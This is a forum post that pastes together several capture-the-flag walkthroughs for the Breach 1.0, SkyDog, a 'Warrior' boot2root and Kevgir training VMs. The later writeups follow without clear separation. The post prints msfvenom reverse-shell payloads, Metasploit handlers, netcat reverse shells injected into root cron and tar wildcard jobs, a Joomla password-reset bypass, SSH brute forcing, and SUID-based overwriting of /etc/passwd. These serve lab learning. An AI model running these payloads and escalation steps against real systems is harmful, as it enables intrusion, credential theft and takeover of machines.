[Guide] How to Hack the Breach 1.0 VM (CTF Challenge)

[Guide] How to Hack the Breach 1.0 VM (CTF Challenge) - Printable Version

+- Blackhat Carding Forum | Carding Forum - Credit Cards - Hacking Forum - Cracking Forum | Bhcforums.cc (https://bhcforums.cc)
+-- Forum: Community (https://bhcforums.cc/Forum-Community)
+--- Forum: General Discussion (https://bhcforums.cc/Forum-General-Discussion)
+--- Thread: [Guide] How to Hack the Breach 1.0 VM (CTF Challenge) (/Thread-Guide-How-to-Hack-the-Breach-1-0-VM-CTF-Challenge)

[Guide] How to Hack the Breach 1.0 VM (CTF Challenge) - NINZA - 04-24-2020

This time we are going to solve a fun VM i.e. Breach 1.0. Let’s find out what we already know about it:

Breach 1.0 is a first VM in a multi-part series, it is meant to be for beginner to intermediate boot2root/CTF challenge. It is configured with a static IP address (192.168.110.140) so you will need to configure your host-only adapter to this subnet.

nmap -Pn 192.168.110.140

As you can see it has almost all the ports open that could only mean one thing i.e. an IDS is activated.
Now let’s start nikto :
nikto -h 192.168.110.140
[Image: 2.png?w=687&ssl=1]

Nikto proved to be useless in this case. So now let’s divert our attention to Port 80 which is most known and open so we will try by investigating the said port and do to so open the target IP into your browser.

On the home page you will find an image with some dialogues/comments. Open the page source and you will find a base64 encoded code:

<! ——Y0dkcFltSnZibk02WkdGdGJtbDBabVZsYkNSbmIyOWtkRzlpWldGbllXNW5KSFJo —–>

Decode this code using a Add-On HackBar for Mozilla. Enable this Add-on and click on its Encoding tab then select Decode option. After this it will ask you for the string that you want to decode. Paste the code there and click on Ok

It will show the Base64 code again which means that the code has been encoded twice.
[Image: 6.png?w=687&ssl=1]

Further decode it with the similar method and you will have one username and password.
[Image: 7.png?w=687&ssl=1]

Now go back to the home page and click on the image. It will redirect you to another page.
[Image: 8.png?w=687&ssl=1]

We tried and open every tab but found nothing except the Employee Portal tab. clicking on Employ Portal tab will open a log in page. Log into it by username and password that you have just decoded using Hack Bar.

Once you are logged in, you will we that there are three messages in the inbox. Open each message one by one as we may find a clue in it.

In the first mail a user is simply sending a message to another user named peter. And as we found no clue in it we may move forward to the second mail.

Second mail is about IDS which confirms our suspicion about activated IDS.
[Image: 13.png?w=687&ssl=1]

Moving onto the third mail you will find that there is a URL mentioned and they are talking about a SSL certification. So let’s not wait any longer and open the URL first.

Opening the URL it will show a file to download. Download the file and save it.
[Image: 15.png?w=687&ssl=1]

Now let’s look for SSL in the search bar and see what it has to offer.
[Image: 17.png?w=687&ssl=1]

There is in fact an SSL certification present. Open it
[Image: 18.png?w=687&ssl=1]

In the SSL certificate you will find a URL.
[Image: 19.png?w=687&ssl=1]

Similarly, open the URL and it will ask you to download a file.
[Image: 20.png?w=687&ssl=1]

Once you have downloaded the file. Open it with wireshark

Now that the file is opened, try to read it by right clicking on the file and then selecting follow >> TCP stream. This is a normal method to read it but as you can see via this method you can’t read the file as its encrypted and from earlier we know that SSL certificate will allow us to read it.

But now the problem is that SSL option is not activated. So now we have to find a way to activate it. Let’s have look on the files that wireshark is providing. You can see that the most communication is taken place on the port 8443. This port is used for tomcat and the file we downloaded earlier, namely .keystore, might had all the certificates because we recall while downloading this keystore file mentioned something about tom cat which means our intuition is correct.

Now doing a lot of research on internet on security stack we found the keystore’s proprietary format (called “JKS”) to standardized format PKCS12.

keytool -importkeystore -srckeystore keystore -destkeystore mykeystore.p12 -deststoretype PKCS12 -srcalias tomcat

In passwords we have put tomcat as it the general default password. Now the file is ready to import.

So, now to activate it simply go to Edit menu from the menu bar and select Preferences from the drop down menu.

A dialog box will open, select protocols option and then select SSL and then click on Edit button.

Another dialog box will open. Here, give IP address of the target and port number 8443 along with the path of keystore file and the password.

Now we have activated SSL so right click on the file and choose the option Follow and then select SSL stream.
[Image: 25.png?w=687&ssl=1]

Finally, now you can read the file. In the file you will again find a base64 code. Decode it in the similar way using hack bar.

Decoding it with the Hackbar will give you the username and password as the result.
[Image: 27.png?w=687&ssl=1]

Traversing the file on wireshark some more will show you and URL as shown:
[Image: 28.png?w=687&ssl=1]

Opening this URL on the browser will open a software foundation page made in java. On this page you can find a browse option which means we can upload a malicious file here.

So now let’s generate a mile through msfvenom which is compatible with java and for this type :
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.110.128 LPORT=4444 -f war > /root/Desktop/update.war
[Image: 30.png?w=687&ssl=1]

Go to the browse option now and upload your file.
[Image: 31.png?w=687&ssl=1]

The file is uploaded.
[Image: 32.png?w=687&ssl=1]

Now before clicking on the file open metasaploit and type ;
use exploit/multi/handler
set payload java/meterpreter/rever_tcp
set lhost 192.168.110.128
set lport 4444
exploit
Click the file once you hit enter and you will have you meterpreter’s session in no time.
Now go to the shell and import the python file to have the control of terminal and for that type :
shell
echo "import pty; pty.spawn('/bin/bash')" > /tmp/asdf.py
python /tmp/asdf.py
1
2
echo "import pty; pty.spawn('/bin/bash')" > /tmp/asdf.py
python /tmp/asdf.py
Once you reach the terminal type the following command to see the details:
ls -lsa
As we found nothing in it we went back by typing :
cd ..
[Image: 33.png?w=687&ssl=1]

Then go to home and into the Milton and read the file which may have our flag. Do this with the following steps:
cd home
ls -lsa
cd milton
ls -lsa
cat some_script.sh
[Image: 34.png?w=687&ssl=1]

LOL! We are trolled as there was no flag here. Now that we found nothing here we were back to square one which means we then started search everything again thoroughly. And then we found an image called bill.png.

We read it with exiftool by typing:
exiftool bill.png
[Image: 36.png?w=687&ssl=1]

We found a password here i.e. coffeestains
Then go to the passwd file :
cat /etc/passwd
Then su and give the password as coffeestains :
su blumbergh
And then look for the ID’s by typing :
id
[Image: 37.png?w=687&ssl=1]

On further exploring you will find a file called /usr/share/cleanup/tidyup.sh. It says in this file that it runs every three minutes in order to defend itself from hackers. So now, as we have root’s access we should be able to modify it and so type:

echo “nc -e /bin/bash 192.168.110.128 8443” > shell.txt

cat shell.txt | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh

cat /usr/bin/tee /usr/share/cleanup/tidyup.sh

As they above commands have been executed, we will now need a listener to read our flag and for that type ;
nc -lvv -p 8443
[Image: 39.png?w=687&ssl=1]

Hello friends!! Today we are going to solve another CTF challenge “SkyDog” which is design by Mr. James Bower. The purpose of this CTF is to find all six flags hidden throughout the server by the hacking network and system services. This can be achieved without hacking the VM file itself. Capturing these flags is quite fun and interesting. Before starting off I am listing the following hints of all 6 flags that we know of beforehand and we have to find out their answers.
Flag #1 Home Sweet Home or (A Picture is worth a Thousand Words)
Flag #2 When do Androids Learn to Walk?
Flag #3 Who Can You Trust?
Flag #4 Who Doesn’t Love a Good Cocktail Party?
Flag #5 another Day at the Office
Flag #6 Little Black Box
Penetrating Methodologies:

Network Scanning (Netdiscover, Nmap)
Inspecting web services for (Flag 1, 2, 3 & 4)
Get flag 1st from inside SkyDogCon_CTF.jpg (ExifTool)
Get flag 2nd using robot.txt
Get flag 3rd from whistler.zip
Generating Dictionary for web directory (Cewl)
Directory brute force (Dirb)
Get flag 4th from play inside PlayTronics
Get the .pcap file and grab an audio file (Wireshark)
SSH Brute force Attack (Hydra)
Spawn TTY shell of the machine and Get flag 5th (SSH login)
Writable File privilege escalation
Get the Root Access and Capture the flag 6th

WalkThrough
Let’s start off with scanning the network to find our target.
netdiscover
1
netdiscover
[Image: 1.png?w=687&ssl=1]

Our target is 192.168.1.102. Scan the target with nmap.
nmap -A 192.168.1.102
1
nmap -A 192.168.1.102
[Image: 2.png?w=687&ssl=1]

As the result, we can see that port 22 and 80 are open. Therefore, open the IP in the browser. And as you can see there is nothing but the image of CTF on the webpage.
[Image: 3.png?w=687&ssl=1]

Download the image and read it with ExifTool.
exittool SkyDogCon_CTF.jpg
1
exittool SkyDogCon_CTF.jpg
Reading the image we will find the 1st flag.
[Image: 4.png?w=687&ssl=1]

The first flag is in MD5 hash value and we will crack the hash value with online MD5 cracker. The value will make up to the word Welcome Home which is approximately close to author description for the 1st flag.
Flag #1 Home Sweet Home or (A Picture is worth a Thousand Words)
Flag 1: flag {abc40a2d4e023b42bd1ff04891549ae2}: Welcome Home
[Image: 5.png?w=687&ssl=1]

If you will go back to nmap scan result, then you will observe there is a robot.txt file in which 15 entries are allowed and 252 are disallowed.
And yes! Opening it in the browser we found our 2nd flag. So let’s crack the MD5 value of the flag.
[Image: 6.png?w=687&ssl=1]

On cracking the value of Flag #2 is Bots
Flag #2 When do Androids Learn to Walk?
Flag 2: flag {cd4f10fcba234f0e8b2f60a490c306e6}: Bots
[Image: 7.png?w=687&ssl=1]

After cracking the flag #2 we explored robots.txt some more and upon opening all the allow directories one by one there was one which opened i.e. /Setec
Here it comes up with the following image with title “Too many secrets” therefore I decided to review its source code.
[Image: 8.png?w=687&ssl=1]

So with help of curl, we inspect following URL and found an /Astronomy directory from here.
curl -v

[To see content please register here]

1
curl -v

[To see content please register here]

Now open this directory by typing URL:

[To see content please register here]

and here, you will find whistler.zip. Download the file.
[Image: 10.png?w=687&ssl=1]

This file is password protected therefore we need to find the password so that we can unzip this file. Now apply dictionary attack to find its password with the help of rockyou.txt and for that type:
fcrackzip -vuD -p /usr/share/wordlists/rockyou.txt Whistler.zip
1
fcrackzip -vuD -p /usr/share/wordlists/rockyou.txt Whistler.zip
[Image: 11.png?w=687&ssl=1]

And you will find the password i.e. yourmother and now, of course, unzip the file:
unzip whistler.zip
1
unzip whistler.zip
After unzipping you will find Flag #3 and some other file with a hint. First, open flag:
cat flag.txt
1
cat flag.txt
You will have your flag again in MD5 value. Crack it with similar method.
Flag #3 Who Can You Trust?
Flag3: flag{1871a3c1da602bf471d3d76cc60cdb9b}: yourmother
Now open the other file:
cat QuesttoFindCosmo.txt
1
cat QuesttoFindCosmo.txt
This file will give you a hint regarding OSINT.
OSINT: Open-source intelligence (OSINT) is intelligence collected from publicly available sources. In the intelligence community (IC), the term “open” refers to overt, publicly available sources (as opposed to covert or clandestine sources); it is not related to open-source software or public intelligence.
That means we have to find something related to OSINT. If you recall there was a similar thing in the movie Sneakers and so we will use the movie and apply the technique of cewl here. CEWL lets us create a dictionary file using a URL and here we will use the URL of the movie to help us create the dictionary file and therefore type:
cewl --depth 1

[To see content please register here]

-w /root/Desktop/dict.txt
1
cewl --depth 1

[To see content please register here]

-w /root/Desktop/dict.txt
[Image: 12.png?w=687&ssl=1]

My next step is abusing web directories by using the above dictionary “dict.txt” to get some useful directories name with help of dirb command.
dirb

[To see content please register here]

dict.txt
1
dirb

[To see content please register here]

dict.txt

This command will show us the following directories:

PlayTronics
Sectec
Astronomy

We have already seen the content of Setec and Astronomy directories and so we will now explore PlayTronics.
And to our luck, we found Flag.txt in the PlayTronics directory.
[Image: 15.png?w=687&ssl=1]

We got the 4th flag from here, lest crack it to get the value of Flag# 4.
[Image: 16.png?w=687&ssl=1]

Crack the flag with a similar method and you will have the Flag #4 value i.e. leroybrown
Flag #4 Who Doesn’t Love a Good Cocktail Party?
Flag 4 : flag{c07908a705c22922e6d416e0e1107d99}: leroybrown
[Image: 17.png?w=687&ssl=1]

In PlayTronics we also found a file with .pcap extension. Open that file with Wireshark. And upon studying its data carefully you will find an audio file. Download audio file.
[Image: 18.png?w=687&ssl=1]

Upon playing the file you will find it says only one word i.e. werner brandes. Now this “werner brandes” word can be our user name. So make a text file with possible combinations of username using the word “werner brandes”. Also, make a text file for passwords containing all the flag values that we just found.
[Image: 19.png?w=687&ssl=1]

hydra -v -L dict.txt -P dict.txt.txt 192.168.1.102 ssh
1
hydra -v -L dict.txt -P dict.txt.txt 192.168.1.102 ssh
As you can observe that we had successfully grabbed the SSH username as wernerbrandes and password as leroybrown.
[Image: 20.1.png?w=687&ssl=1]

Now that you have username and password login with SSH
ssh [email protected]
1
ssh [email protected]
And fortunately, we also found Flag #5 in MD5 value.
[Image: 20.png?w=687&ssl=1]

Crack it with the same method and the will turn up to be Dr. Gunter Janek
Flag #5 another Day at the Office
Flag 5: flag{82ce8d8f5745ff6849fa7af1473c9b35}: Dr. Gunter Janek
[Image: 21.png?w=687&ssl=1]

Now let’s find a writable file and for that type:
find / -writable -type f
1
find / -writable -type f
[Image: 22.png?w=687&ssl=1]

So we will open the sanitizer.py file with the following steps:
cd /lib
cd log
nano sanitizer.py
1
2
3
cd /lib
cd log
nano sanitizer.py
So here the following script was added by admin to clean up all junk file from inside /tmp and these type of files depends upon specific time interval for executions.
[Image: 25.png?w=687&ssl=1]

Now replace “rm -r /tmp/*” from the following line as given below code which will enable SUID bit for /bin/sh after some time.
os.system('chmod u+s /bin/sh')
1
os.system('chmod u+s /bin/sh')
[Image: 26.png?w=687&ssl=1]

Now let go to bin /bin/sh and try to get root access with help of the following command.
/bin/sh
id
whoami
ls
cd BlackBox
1
2
3
4
5
/bin/sh
id
whoami
ls
cd BlackBox
And here is our 6th the last flag lets capture it.
cat flag.txt
1
cat flag.txt
Crack the value of the flag with the same method.
Flag #6 Little Black Box
Flag 6: flag {b70b205c96270be6ced772112e7dd03f}: CongratulationsYouDidIt
HURRAYYY!!! All the six flags have been captures. And this CTF is completed.
[Image: 27.png?w=687&ssl=1]

This is a boot2root challenge which we will try to complete. This VM is created by Warrior and is a basic exploitable VM so we do not need to worry about any advance exploits and reverse engineering.
Download the VM from –>

[To see content please register here]

Breaching Methodology

Network Scanning (Nmap)
Recon (Nikto)
LFI due to allow_url_inclued
Install Tamper data (Firefox plugin)
Generate PHP Backdoor (Msfvenom)
Upload and execute a backdoor
Reverse connection (Metasploit)
Open UNIX wildcard text file
Privilege Escalation (cron job)
Import python one-liner for proper TTY shell
Take root access and capture the flag

Let’s start
As always start off by locating the target with the netdiscover command. Our target is 192.168.1.100. Now we will scan our target with nmap to know all about its ports.
nmap -p- -A 192.168.1.100
1
nmap -p- -A 192.168.1.100
[Image: 1.png?w=687&ssl=1]

Since port 80 was open for http, therefore, we had explored target IP on the browser but didn’t get any useful information. So further we have decided to use Nikto against target URL.
[Image: 2.png?w=687&ssl=1]

To know more about our target we will use Nikto.
nikto -h 192.168.1.100
1
nikto -h 192.168.1.100
As per result dumped by Nikto, it tells something about info.php, let verify it.
[Image: 3.png?w=687&ssl=1]

So when we have browsed

[To see content please register here]

, we found “allow_url_include” is “on” which means we can call any local or remote file and hence it is pointing towards LFI and RFI vulnerability.
[Image: 4.png?w=687&ssl=1]

Upon finding the said vulnerability our step was clear i.e. we had use Tamper data(Firefox plugin).
So go to Tools on the menu bar and select Tamper data, When the Tamper Data opens click on Start Tamper.
[Image: 5.png?w=687&ssl=1]

Now generate the PHP code with the help of which we will have our meterpreter session and to generate the code type:
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.108 lport=4444 -f raw
1
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.108 lport=4444 -f raw
Copy the code from <?php to die() and save it on the file with extension .php, we have saved it as shell.php on the desktop and run command python SimpleHTTPServer 80 for transferring it into target’s system.
[Image: 6.png?w=687&ssl=1]

Then on Tamper Data give the path of the file without the extension in the text box adjacent to the route. For example type:

[To see content please register here]

?
1

[To see content please register here]

Before clicking on OK run Metasploit and type:
msf use exploit/multi/handler
msf exploit(multi/handler) set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost 192.168.1.108
msf exploit(multi/handler) set lport 4444
msf exploit(multi/handler) exploit
1
2
3
4
5
msf use exploit/multi/handler
msf exploit(multi/handler) set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost 192.168.1.108
msf exploit(multi/handler) set lport 4444
msf exploit(multi/handler) exploit
And when you click on ok you will have your meterpreter session. You can type the following command to get the information about the system:
sysinfo
1
sysinfo
Then check the list of the thing present in langman by typing :
ls
1
ls
There is only one folder available so let’s go into it.
cd SDINET
1
cd SDINET
ls (to check the contents of SDINET)
Here, in SDINET you will find a text file which will show you all the steps to move ahead. It contains Unix wildcard attacks.

[To see content please register here]

Some further digging revealed that crontab was running a backup script as root, which used tar to compress the contents of /var/www/html. One of the attacks mentioned in the text document covered tar. The commands we used are:
cat /etc/crontab
cat /backup/backup.sh
1
2
cat /etc/crontab
cat /backup/backup.sh
[Image: 9.png?w=687&ssl=1]

On a new terminal generate one-liner malicious code for achieving netcat reverse connection using msfvenom and enter the following command for that.
msfvenom -p cmd/unix/reverse_netcat lhost=192.168.1.108 lport=8888 R
1
msfvenom -p cmd/unix/reverse_netcat lhost=192.168.1.108 lport=8888 R
After that copy and paste the generated code inside the meterpreter session as described below and start netcat.
nc -lvp 8888
1
nc -lvp 8888
[Image: 12.png?w=687&ssl=1]

From inside DefenseCode_Unix_WildCards_Gone_Wild.txt, it has a section about how to get a command execution using the tar command
Next, we ran the following commands inside the meterpreter session:
shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
echo "mkfifo /tmp/ivkwne; nc 192.168.1.108 8888 0</tmp/ivkwne | /bin/sh >/tmp/ivkwne 2>&1; rm /tmp/ivkwne" > shell.sh
touch "/var/www/html/--checkpoint-action=exec=sh shell.sh"
touch "/var/www/html/--checkpoint=1"
1
2
3
4
5
shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
echo "mkfifo /tmp/ivkwne; nc 192.168.1.108 8888 0</tmp/ivkwne | /bin/sh >/tmp/ivkwne 2>&1; rm /tmp/ivkwne" > shell.sh
touch "/var/www/html/--checkpoint-action=exec=sh shell.sh"
touch "/var/www/html/--checkpoint=1"
[Image: 14.png?w=687&ssl=1]

The above commands help the tar command to run the file, shell.sh after the first file is archived. Since the backup.sh script is running as root, this has the effect of spawning a netcat shell and sending it to the attack platform on port 8888.
And if you go back to the terminal window where the listener was on, you will have victim’s reverse connection in some time, after that type following command to import python one-liner script for accessing proper tty shell.
python -c 'import pty;pty.spawn("/bin/bash")'
1
python -c 'import pty;pty.spawn("/bin/bash")'
And you will root access, further move into the/root directory and grab the credit.txt file and finished this challenge.
HAPPPPPYYYY HACKIIIIING!!!!!!
[Image: 15.png?w=687&ssl=1]

In this article, we will walkthrough a root2boot penetration testing challenge i.e Kevgir. Kevgir is a vulnerable framework, based on the concept of CTF(Capture The Flag). This lab can be solved in multiple ways, one of them is used in this article.
Penetrating Methodologies

Network Scanning (Nmap, netdiscover)
Joomla based CMS Scanning CMS (Joomscan)
Exploiting target (exploit 6234)
Login into the admin console
Generate PHP Backdoor (Msfvenom)
Upload and execute a backdoor
Reverse connection (Metasploit)
Import python one-liner for proper TTY shell
Find SUID Binaries for Privilege Escalation
Abusing shadow & password file
Get Root access and capture the flag.

Let’s Start!!!
First Download Kevgir Vm From

[To see content please register here]

Start off with finding the target using :
netdiscover
1
netdiscover
[Image: 1.png?w=687&ssl=1]

Our target is 192.168.1.102 Now scan the target with nmap :
nmap -p- -A 192.168.1.102
1
nmap -p- -A 192.168.1.102
With the nmap scan, you can see the ports 80, 139, 2049, 6379, 8080, 8081, 9000, 40383 and many others are open as you can see in the image.
[Image: 2.png?w=687&ssl=1]

Also, if you observe then you can see port forwarding is used here e.g. HTTP service is open on port number 80, 8080 and 8081. So, let us try open our target on 80 and 8081 port.
On port 80 Our target opens as the following:
[Image: 3.png?w=687&ssl=1]

And on port 8081 opens on :
[Image: 4.png?w=687&ssl=1]

The cms of the website are Joomla and this version of Joomla, as everyone knows, is exploitable. We will scan the said target with joomscan :
joomscan -u

[To see content please register here]

1
joomscan -u

[To see content please register here]

Applying the joomscan will show all the vulnerable exploits. Here we can observe the highlighted text pointing towards “Admin Password changed” seems to be vulnerable against exploit 6234. Now if you look closely the exploit number 6234 will show you the steps to exploit the certain vulnerability.
[Image: 6.png?w=687&ssl=1]

According to the said, go for exploring the following URL:
192.168.1.102:8081/index.php?optiona=com_user&view=reset&layout=confirm
1
192.168.1.102:8081/index.php?optiona=com_user&view=reset&layout=confirm
Here, it will ask you for the token, type an apostrophe (‘) in the token adjacent text box.
[Image: 7.png?w=687&ssl=1]

It will redirect you to a page where it will ask you to set up a new password.
[Image: 8.png?w=687&ssl=1]

After setting up the new password, login with the username and the password that you had just set.
[Image: 9.png?w=687&ssl=1]

Now that you are logged in, go to the Extensions menu and select Template Manager from the drop-down menu.
[Image: 10.png?w=687&ssl=1]

Then choose Extensions > Template Manager > rhuk_milkway > Edit HTML.
[Image: 12.png?w=687&ssl=1]

Inside this, we can add our own PHP code but instead of editing genuine PHP for new template we will add malicious PHP code.
[Image: 13.png?w=687&ssl=1]

Create the malicious code that you are going to upload via msfvenom.
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.108 lport=4444 -f raw
1
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.108 lport=4444 -f raw
On the other hand run multi/handler inside the Metasploit framework
[Image: 14.1.png?w=687&ssl=1]

Copy the code from >?php to die(); and Paste the code inside HTML editor and click on save button.
[Image: 14.png?w=687&ssl=1]

Meanwhile, return to the Metasploit terminal and wait for the metepreter session by exploiting multi handler.
msf use exploit/multi/handler
msf exploit(multi/handler) set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost 192.168.1.108
msf exploit(multi/handler) set lport 4444
msf exploit(multi/handler) exploit
1
2
3
4
5
msf use exploit/multi/handler
msf exploit(multi/handler) set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost 192.168.1.108
msf exploit(multi/handler) set lport 4444
msf exploit(multi/handler) exploit
From given below image you can observe Meterpreter session 1. But the task is not finished yet, still, we need to penetrate more for privilege escalation.
meterpreter > sysinfo
meterpreter > shell
1
2
meterpreter > sysinfo
meterpreter > shell
[Image: 15.png?w=687&ssl=1]

Then to access proper TTY shell we had import python one line script by typing following:
python -c 'import pty;pty.spawn("/bin/bash")'
1
python -c 'import pty;pty.spawn("/bin/bash")'
Now for privilege escalation either we can use find command to enumerate enabled SUID bit for any system binaries or we move into the etc/bin to enumerate enabled SUID bit any binaries file.
find / -perm -u=s -type f 2>/dev/null
or
cd /etc/bin
ls -al
1
2
3
4
find / -perm -u=s -type f 2>/dev/null
or
cd /etc/bin
ls -al
Hence we can clearly observe the SUID bit is set for cp for copy command, to copy any file which required higher privilege to perform read/write operation upon them such as etc/passwd & etc/shadow files.
[Image: 16.png?w=687&ssl=1]

Therefore we copied etc/shadow inside tmp and open it inside /tmp directory. The shadow files hold encrypted password of users and we are have copied the hash password for user: admin as shown.
[Image: 17.png?w=687&ssl=1]

Now we have pasted the above-copied text in an empty document and used John the ripper for cracking this hash value. As result, you can observe the password: admin for user: admin. This method is known as SUID binaries privilege escalation, for more detail read this

[To see content please register here]

But the task is not completed yet, this boot to root challenge and still, we are lacking root privilege. Now open the password file with help of cat where you will find an entry for admin. Now we know the admin user’s password and by manipulating his entries, we can increase his privileges and do so copy the whole content of this file.
[Image: 19.png?w=687&ssl=1]

Paste it into an empty text file, now modify UID: 1002 & GID: 1002 into UID: 0 & GID: 0 for adding admin into root group member and saved as passwd so that we can replace original passwd file from our modified passwd file.
[Image: 20.png?w=687&ssl=1]

Download the modified password file inside /tmp directory with help of wget as shown.
wget

[To see content please register here]

1
wget

[To see content please register here]

Now replace the content of the original passwd file from our modified passwd file with help of copy command and it is possible due to SUID bit which is enabled for /bin/cp file. After then switch user with help of su command and you will get root access after that as shown below.
cp passwd /etc/
su admin
1
2
cp passwd /etc/
su admin
[Image: 21.png?w=687&ssl=1]

HURRAYYYY!!! We hit the Goal and finish this task. But this lab can be solved in multiple ways for example use kernel privilege escalation for privilege escalation.
Try it by yourself and enjoy the CTF challenges!!